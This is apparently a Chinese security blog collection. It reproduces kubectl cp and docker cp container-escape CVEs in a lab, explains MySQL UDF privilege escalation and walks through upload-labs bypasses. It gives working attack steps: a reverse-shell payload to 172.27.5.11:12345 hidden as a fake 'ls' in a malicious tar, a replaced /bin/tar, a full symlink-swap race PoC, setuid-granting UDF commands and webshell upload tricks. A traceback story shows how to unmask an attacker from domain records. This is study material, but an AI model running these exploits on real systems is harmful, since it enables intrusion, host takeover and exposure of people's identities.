CVE-2019-1002101 kubectl cp容器逃逸

漏洞简介

Twistlock的流程图很好的解释了kubectl cp漏洞的利用链及其原理。

  1. 启动一个被破坏或者恶意的容器

  2. 攻击者准备一个恶意的tar包(包含恶意软链接,例如:./baddir/twist->/proc/self/cwd)

  3. 此时容器中的二进制tar包被替换成恶意tar包

  4. 用户运行kubectl cp将文件从容器传输到宿主机

  5. kubectl提取恶意tar包中的文件(此时会解析其中的恶意软链接,即写入到宿主机的 /proc/self/cwd 路径)

  6. 攻击者可以控制恶意软链接,将文件写到宿主机任意位置

    bug

影响范围

Redhat Openshift_Container_Platform 3.10

Kubernetes 1.14.0

Redhat Openshift_Container_Platform 3.11

1.12.0 <= Kubernetes < 1.12.7

Redhat Openshift_Container_Platform 3.9

1.13.0 <= Kubernetes < 1.13.5

1.11.0 <= Kubernetes < 1.11.9

漏洞复现

实验环境

Kubernetes 1.11.1

实验过程

环境配置

  1. 使用Metarget创建单节点k8s集群
1
./metarget cnv install cve-2019-1002101 --domestic

image-20231009101802523

可以看到单节点集群环境安装成功(需要使用--domestic安装单节点k8s集群)

  1. 创建一个Pod并运行Nginx容器,查看运行状态
1
kubectl run nginx --image=nginx

image-20231009103109364

image-20231009103202133

brompwnie的做法

  1. 首先从github中获取我们需要的三个文件

image-20231009141000443

  1. 使用kubectl cp将文件传输到容器中(这样传文件比较方便)

注意:createPwnTar.sh中需要修改反弹shell命令中的x.x.x.x/端口为攻击机的ip和端口

1
2
3
kubectl cp /home/safedog/setupTar.sh nginx-64f497f8fd-wdsg2:.
kubectl cp /home/safedog/badbin nginx-64f497f8fd-wdsg2:.
kubectl cp /home/safedog/createPwnTar.sh nginx-64f497f8fd-wdsg2:.
  1. 赋予三个文件执行权限
1
chmod +x badbin setupTar.sh createPwnTar.sh
  1. 依次执行createPwnTar.sh和setupTar.sh
1
2
./createPwnTar.sh
./setupTar.sh

image-20231009141521362

  1. 攻击机远程监听,宿主机执行kubectl cp将恶意符号链接植入宿主机,之后只要在植入的路径打开终端便能够反弹shell

宿主机执行kubectl cp命令

image-20231009142741919

宿主机在路径下打开终端,攻击机获取反弹shell

image-20231009142847787

image-20231009142923329

h4ckm310n的做法

  1. 使用kubectl进入容器命令行,进行恶意tar包构造
1
kubectl exec -it nginx-64f497f8fd-wdsg2 -- /bin/bash

在当前目录下创建了一个名为 badbin 的符号链接,指向系统的 /bin 目录。

1
ln -s /bin ./badbin

这个步骤将 /bin 目录的符号链接badbin一起打包到了 malicious.tar 中。

1
tar -cf malicious.tar ./badbin

这个命令尝试删除当前目录下的 ./badbin 目录。但由于 ./badbin 是一个符号链接,删除操作不会影响到 /bin 目录,因为它只会删除链接而不会删除链接指向的目录。

1
rm -f ./badbin

这个命令在当前目录下创建了一个名为 ./badbin 的新目录。

1
mkdir ./badbin

这个命令使用 echo 将一段脚本写入 ./badbin/ls 文件。这段脚本实际上是一个简单的反向 shell,它试图连接到 IP 地址 172.27.5.11 的 TCP 端口 12345,并将命令执行的结果发送到该连接。这是一个潜在的恶意操作,可以用于入侵和远程控制目标系统。

1
echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/172.27.5.11/12345 0>&1' > ./badbin/ls

这个命令将 ./badbin/ls 文件的执行权限设置为可执行。

1
chmod +x ./badbin/ls

这个命令将新创建的 ./badbin/ls 文件添加到之前创建的 malicious.tar 归档文件中。

1
tar -rf malicious.tar ./badbin/ls

创建恶意test文件,内容如下。

1
2
#!/bin/bash
cat /malicious.tar

将其替换到/bin/tar中。

1
2
rm -rf /bin/tar
cp test /bin/tar
  1. 攻击机远程监听,宿主机执行kubectl cp将恶意符号链接植入宿主机,并执行ls命令触发反弹shell

kali攻击机进行监听

1
nc -lvvp 12345

宿主机执行

1
kubectl cp  nginx-64f497f8fd-wdsg2:test /home/safedog

宿主机执行kubectl cp成功后可以发现bin目录被携带下来

image-20231009140545804

宿主机执行成功后执行ls命令,可以在攻击机上获取反弹的shell

image-20231009140316389

image-20231009140228230

总结思考检测方式

  1. 版本检测

根据漏洞影响的版本信息进行检测

  1. 敏感目录/bin/tar

监控异常指令修改/bin/tar目录导致漏洞利用

参考链接

POC:

https://github.com/brompwnie/CVE-2019-1002101-Helpers

https://h4ckm310n.com/?p=528

漏洞通告:

https://discuss.kubernetes.io/t/announce-security-release-of-kubernetes-kubectl-potential-directory-traversal-releases-1-11-9-1-12-7-1-13-5-and-1-14-0-cve-2019-1002101/5712

CVE-2018-15664 利用符号链接容器逃逸

影响版本

Docker <= 18.06.1-ce-rc2

Docker cp

Docker cp命令能够将容器内的文件向宿主机复制,也能够实现宿主机文件向容器中复制。

1
2
# 将容器中的文件复制到宿主机中
docker cp container_id:file_path_in_container host_path

符号链接

类似于Windows中的快捷方式。符号链接的操作是透明的:对符号链接文件进行读写的程序会表现得直接对目标文件进行操作。

1
2
# 将目标路径和指定的链接名或者路径进行绑定
ln -s targrt_path link_path

image-20230912114240358

源码及利用原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE.BSD file.

// This code is a modified version of path/filepath/symlink.go from the Go standard library.

package symlink

import (
"bytes"
"errors"
"os"
"path/filepath"
"strings"

"github.com/docker/docker/pkg/system"
)

// FollowSymlinkInScope is a wrapper around evalSymlinksInScope that returns an
// absolute path. This function handles paths in a platform-agnostic manner.
func FollowSymlinkInScope(path, root string) (string, error) {
path, err := filepath.Abs(filepath.FromSlash(path))
if err != nil {
return "", err
}
root, err = filepath.Abs(filepath.FromSlash(root))
if err != nil {
return "", err
}
return evalSymlinksInScope(path, root)
}

// evalSymlinksInScope will evaluate symlinks in `path` within a scope `root` and return
// a result guaranteed to be contained within the scope `root`, at the time of the call.
// Symlinks in `root` are not evaluated and left as-is.
// Errors encountered while attempting to evaluate symlinks in path will be returned.
// Non-existing paths are valid and do not constitute an error.
// `path` has to contain `root` as a prefix, or else an error will be returned.
// Trying to break out from `root` does not constitute an error.
//
// Example:
// If /foo/bar -> /outside,
// FollowSymlinkInScope("/foo/bar", "/foo") == "/foo/outside" instead of "/oustide"
//
// IMPORTANT: it is the caller's responsibility to call evalSymlinksInScope *after* relevant symlinks
// are created and not to create subsequently, additional symlinks that could potentially make a
// previously-safe path, unsafe. Example: if /foo/bar does not exist, evalSymlinksInScope("/foo/bar", "/foo")
// would return "/foo/bar". If one makes /foo/bar a symlink to /baz subsequently, then "/foo/bar" should
// no longer be considered safely contained in "/foo".
func evalSymlinksInScope(path, root string) (string, error) {
root = filepath.Clean(root)
if path == root {
return path, nil
}
if !strings.HasPrefix(path, root) {
return "", errors.New("evalSymlinksInScope: " + path + " is not in " + root)
}
const maxIter = 255
originalPath := path
// given root of "/a" and path of "/a/b/../../c" we want path to be "/b/../../c"
path = path[len(root):]
if root == string(filepath.Separator) {
path = string(filepath.Separator) + path
}
if !strings.HasPrefix(path, string(filepath.Separator)) {
return "", errors.New("evalSymlinksInScope: " + path + " is not in " + root)
}
path = filepath.Clean(path)
// consume path by taking each frontmost path element,
// expanding it if it's a symlink, and appending it to b
var b bytes.Buffer
// b here will always be considered to be the "current absolute path inside
// root" when we append paths to it, we also append a slash and use
// filepath.Clean after the loop to trim the trailing slash
for n := 0; path != ""; n++ {
if n > maxIter {
return "", errors.New("evalSymlinksInScope: too many links in " + originalPath)
}

// find next path component, p
i := strings.IndexRune(path, filepath.Separator)
var p string
if i == -1 {
p, path = path, ""
} else {
p, path = path[:i], path[i+1:]
}

if p == "" {
continue
}

// this takes a b.String() like "b/../" and a p like "c" and turns it
// into "/b/../c" which then gets filepath.Cleaned into "/c" and then
// root gets prepended and we Clean again (to remove any trailing slash
// if the first Clean gave us just "/")
cleanP := filepath.Clean(string(filepath.Separator) + b.String() + p)
if cleanP == string(filepath.Separator) {
// never Lstat "/" itself
b.Reset()
continue
}
fullP := filepath.Clean(root + cleanP)

fi, err := os.Lstat(fullP)
if os.IsNotExist(err) {
// if p does not exist, accept it
b.WriteString(p)
b.WriteRune(filepath.Separator)
continue
}
if err != nil {
return "", err
}
if fi.Mode()&os.ModeSymlink == 0 {
b.WriteString(p + string(filepath.Separator))
continue
}

// it's a symlink, put it at the front of path
dest, err := os.Readlink(fullP)
if err != nil {
return "", err
}
if system.IsAbs(dest) {
b.Reset()
}
path = dest + string(filepath.Separator) + path
}

// see note above on "fullP := ..." for why this is double-cleaned and
// what's happening here
return filepath.Clean(root + filepath.Clean(string(filepath.Separator)+b.String())), nil
}

// EvalSymlinks returns the path name after the evaluation of any symbolic
// links.
// If path is relative the result will be relative to the current directory,
// unless one of the components is an absolute symbolic link.
// This version has been updated to support long paths prepended with `\\?\`.
func EvalSymlinks(path string) (string, error) {
return evalSymlinks(path)
}

Docker cp过程中FolllowSyslinkInScope方法会先检测路径合法存在,检测结束后evalSymlinkInScope方法对路径进行解析并执行后续文件复制操作。

整个复制过程不是一个原子操作,而路径检测解析执行才分别是原子操作。在这个复制过程中如果攻击者在路径检测结束后将正常路径替换成一个恶意的符号链接,那么攻击者将能够对Docker cp的目的主机(可以是容器也可以是宿主机)任意路径的文件内容进行覆盖。

然而这里我也有个猜测,Docker cp相当于一个set-uid进程,于是它可以获得文件root权限进行文件内容覆盖。

image-20230912134832774

漏洞场景和POC解读

漏洞场景:受害者在从容器中复制文件到宿主机

当漏洞触发时容器内的文件将被复制到宿主机中的任意一个目录(恶意符号链接所指定)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/bin/zsh
# Copyright (C) 2018 Aleksa Sarai <asarai@suse.de>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.

SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag

# Create our flag.
echo "SUCCESS -- COPIED FROM THE HOST" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 000 "$SYMSWAP_TARGET"

# Run and build the malicious image.
docker build -t cyphar/symlink_swap \
--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")

# Now continually try to copy the files.
idx=0
while true
do
mkdir "ex${idx}"
docker cp "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET" "ex${idx}/out"
idx=$(($idx + 1))
done

漏洞场景:受害者在从宿主机中复制文件到容器中

当漏洞触发时宿主机内的文件将被复制到宿主机中的任意一个目录(容器中恶意符号链接所指定)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/zsh
# Copyright (C) 2018 Aleksa Sarai <asarai@suse.de>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.

SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag

# Create our flag.
echo "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 0444 "$SYMSWAP_TARGET"

# Run and build the malicious image.
docker build -t cyphar/symlink_swap \
--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")

echo "SUCCESS -- HOST FILE CHANGED" | tee localpath

# Now continually try to copy the files.
while true
do
docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET"
done

POC解读

POC中使用一个无限循环将恶意符号链接与正常文件交换,根据目标文件内容可以判定我们是否竞争成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
/*
* Copyright (C) 2018 Aleksa Sarai <asarai@suse.de>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <unistd.h>

#define usage() \
do { printf("usage: symlink_swap <symlink>\n"); exit(1); } while(0)

#define bail(msg) \
do { perror("symlink_swap: " msg); exit(1); } while (0)

/* No glibc wrapper for this, so wrap it ourselves. */
#define RENAME_EXCHANGE (1 << 1)
/*int renameat2(int olddirfd, const char *oldpath,
int newdirfd, const char *newpath, int flags)
{
return syscall(__NR_renameat2, olddirfd, oldpath, newdirfd, newpath, flags);
}*/

/* usage: symlink_swap <symlink> */
int main(int argc, char **argv)
{
if (argc != 2)
usage();

char *symlink_path = argv[1];
char *stash_path = NULL;
if (asprintf(&stash_path, "%s-stashed", symlink_path) < 0)
bail("create stash_path");

/* Create a dummy file at symlink_path. */
struct stat sb = {0};
if (!lstat(symlink_path, &sb)) {
int err;
if (sb.st_mode & S_IFDIR)
err = rmdir(symlink_path);
else
err = unlink(symlink_path);
if (err < 0)
bail("unlink symlink_path");
}

/*
* Now create a symlink to "/" (which will resolve to the host's root if we
* win the race) and a dummy directory at stash_path for us to swap with.
* We use a directory to remove the possibility of ENOTDIR which reduces
* the chance of us winning.
*/
if (symlink("/", symlink_path) < 0)
bail("create symlink_path");
if (mkdir(stash_path, 0755) < 0)
bail("mkdir stash_path");

/* Now we do a RENAME_EXCHANGE forever. */
for (;;) {
int err = renameat2(AT_FDCWD, symlink_path,
AT_FDCWD, stash_path, RENAME_EXCHANGE);
if (err < 0)
perror("symlink_swap: rename exchange failed");
}
return 0;
}

漏洞复现

这里使用metarget靶场进行漏洞测试。

正常操作

将容器中的文件ex复制到宿主机中,FollowSymlinkInScope方法检查这个路径合法,evalSymlinksInScope方法对这个路径进行解析。执行的结果是将容器中的ex复制到宿主机的当前目录下。

恶意操作

将容器中的文件ex复制到宿主机中,FollowSymlinkInScope方法检查这个路径合法,在evalSymlinksInScope方法对这个路径进行解析之前将路径替换为恶意符号链接指向宿主机的/w00t_w00t_im_a_flag。执行的结果是将/w00t_w00t_im_a_flag文件复制到宿主机当前目录下。

运行run_read.sh,并通过grep查看是否写入成功。

非常夸张的是在竞争中获得root的主机访问权限<1%,但仍有机会竞争成功。

image-20230912212957974

正常操作

要将宿主机的正常文件localpath复制到容器中,FollowSymlinkInScope方法检查这个路径合法,evalSymlinksInScope方法对这个路径进行解析。执行的结果是将宿主机的当前目录的localpath复制到容器中的/w00t_w00t_im_a_flag位置。

恶意操作

我们在容器中创建了一个指向宿主机根目录/的恶意符号链接,在进行FollowSymlinkInScope方法时,对正常文件localpath进行检查,但在evalSymlinksInScope方法中传入的路径为指向宿主机根目录/的恶意符号链接。执行的结果是将宿主机的当前目录的localpath复制到宿主机/w00t_w00t_im_a_flag位置。

运行run_write.sh

我们发现这很快就完成了竞争,

这是因为 Docker 内部有一个**”chrootarchive”概念**,其中存档是从 chroot 中提取的。然而,Docker 不会 chroot 到容器的”/“(这会使此漏洞无效),而是 chroot 到存档目标的父目录——这是攻击者控制的。结果,这实际上导致攻击更有可能成功(一旦 chroot 完成竞争,其余的攻击就保证成功)。

image-20230912170647623

image-20230912170658008

参考链接:CVE-2018-15664:符号链接替换漏洞

记录一次真实溯源经历

img

背景

在一次针对XX类型单位的攻防演练中,本人作为蓝队值守应领导要求对某个攻击IP进行溯源。

溯源过程

  1. IP查询

    站长之家查询是上海腾讯云的IP

    image-20230902101955257

    由于是腾讯云我采用忘记账号的方式查询电话辅助信息,可以获得脱敏的手机号

    image-20230902102155888

  2. 域名解析记录查询

    通过360安全大脑可以查询出该IP曾解析过一个个人域名xxx.top

    image-20230902101543597

    xxx.top还未过期,可以猜测该IP临时改绑了

    image-20230902102439711

  3. ICP备案信息泄露

    通过微步对该IP归属单位进行查询,发现他并没有对自己的信息隐私化,可以查到归属人姓名

    图片1

  4. 网络查询(博客、学校)

    通过百度搜索该域名可以查询到网页中包含该域名网站,于是查询到了归属人的博客园,通过博客园可以获得归属人的网名xxx

    图片2

    根据网名和归属人姓名可以查询到学校和相关奖项

    图片3

    image-20230902103517284

总结

上述溯源过程纯属运气,由于攻击队某个成员没有将自己的IP曾经绑定的个人站中的备案信息隐私化,从而得以让我们查找到真实姓名,进行溯源反查。

UDF提取

参考文章:

https://blog.csdn.net/qq_43430261/article/details/107258466

UDF路径

默认在MySQL根目录下的/lib/plugin

也可以通过select @@basedir查看根目录

原理

通过引入udf.dll来创建自定义函数,下面语句的含义是定义了sys_eval的函数,这个函数在udf.dll中有实现,通过引入这个函数来执行系统命令

1
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

提权利用

由于sys_eval函数是以管理员权限运行的,所以我们现在考虑如何将这个管理员权限转移给我们的shell

  1. 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
  2. 从udf文件中引入自定义函数(user defined function)
  3. 执行自定义函数

我们现在需要udf.dll,可以通过sqlmap进行获取,进入到sqlmap\extra\cloak\cloak目录执行下述命令,就会在指定的路径下生成动态链接库

1
cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_

接下来我们需要,授予特定可供命令执行的文件以管理员权限,于是我们可以将MySQL中的管理员权限转移出来

1
2
3
4
5
6
7
8
9
10
11
mysql -u root -p 'R@v3nSecurity' # 进入mysql
use mysql; # 切换数据库
create table foo (line blob); # 新建一个表,用来存放本地传来的udf文件的内容
insert into foo values(load_file('[udf路径]')); # 在foo中写入udf文件内容
select * from foo into dumpfile '[你要写入udf的路径]'; # 将udf文件内容传入新建的udf文件中,这里的dumpfile要和用linEnum.sh查看的mysql的路径一致
# windows中,对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\,linux中,5.1以上lib\plugin
create function sys_eval returns integer soname '[你的udf名]'; # 导入udf函数
select sys_eval('chmod u+s /usr/bin/find');
create table foo(line blob);
# 给 find 命令加上 setuid 的标志,然后调用find的-exec指令来执行命令
quit; # 退出mysql

总结

这里补充了UDF提权方式,通过MySQL引入udf.dll并创建自定义命令执行函数,授予某个常用的命令以管理员权限,从而导致将MySQL中的权限转移出来造成提权

文件上传巩固

[TOC]

本地部署

使用c0ny1的github仓库文件在windows下一键部署

关卡详解

Pass-01

tips:本pass在客户端使用js对不合法图片进行检查!

思路:前端的检查不能阻止我们修改请求包的内容,于是我将请求包的图片后缀名修改为php使得shell可以解析,再尝试用蚁剑连接。

将此处文件名修改为.php后缀

image-20230611110736874

测试对应上传路径可以成功连接蚁剑

image-20230611111323094

分析源码发现它只允许.jpg|.png|.gif为后缀的文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

Pass-02

tips:本pass在服务端对数据包的MIME进行检查!

思路:这说明服务端会检查数据包的Content-Type字段,我们得保证上传的文件的MIME类型为服务端允许类型。

我们只要保证Content-Type字段为图片类型即可

image-20230611111906955

分析源码发现它只允许MIME类型为image/jpeg|image/png|image/gif的文件上传。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}

Pass-03

tips:本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!

思路:这里可以使用大小写绕过或者使用.php3 .php4 .php5 .phtml .phtm .phps .phpt .php345等可以被解析为php的文件后缀(前提是服务器配置了将上述文件解析成php文件)

将文件后缀修改为php3,但是这里却无法直接连接蚁剑

image-20230611113047450

分析源码发现这里除了黑名单.asp,.aspx,.php,.jsp文件之外,还将upload后的文件名改为了时间加随机数组合,导致我们无法直接蚁剑连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

Pass-04

tips:本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

思路:这个黑名单太大了,有一个思路是上传.htaccess文件配置将.jpg文件解析成php文件

首先上传.htaccess文件将我们稍后上传的shell.jpg解析成php文件

1
2
3
<FilesMatch "shell.png">
SetHandler application/x-httpd-php
</FilesMatch>

我们先上传带可以回显phpinfo的jpg文件

image-20230611151303564

然后上传.htaccess文件将jpg文件解析为php文件

image-20230611151348689

访问对应url发现回显

image-20230611151627310

Pass-05

tips:本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!

思路:它没有将所有大小写组合都过滤掉,所以我们可以传入.PHP后缀的文件。

传入shell.PHP

image-20230611170422741

访问对应url发现回显

image-20230611170515041

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

Pass-06

tips:本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!

思路:事实上它仍然没有过滤掉大小写的所有组合,但是通过查看源码发现本题考查的是其他的知识点。

分析源码发现没有进行首尾去空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

我们上传一个.php[空格]文件

image-20230611171156584

访问对应url发现回显

image-20230611171248885

Pass-07

tips:本pass禁止上传所有可以解析的后缀

思路:根据提示暂时没什么思路,但是通过对比源码可以发现这里没有对.进行过滤,我们可以通过.php.来进行绕过,这里利用了windows的特性。

传入shell.php.文件

image-20230611171717409

访问对应url发现回显

image-20230611171802242

Pass-08

tips:本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!

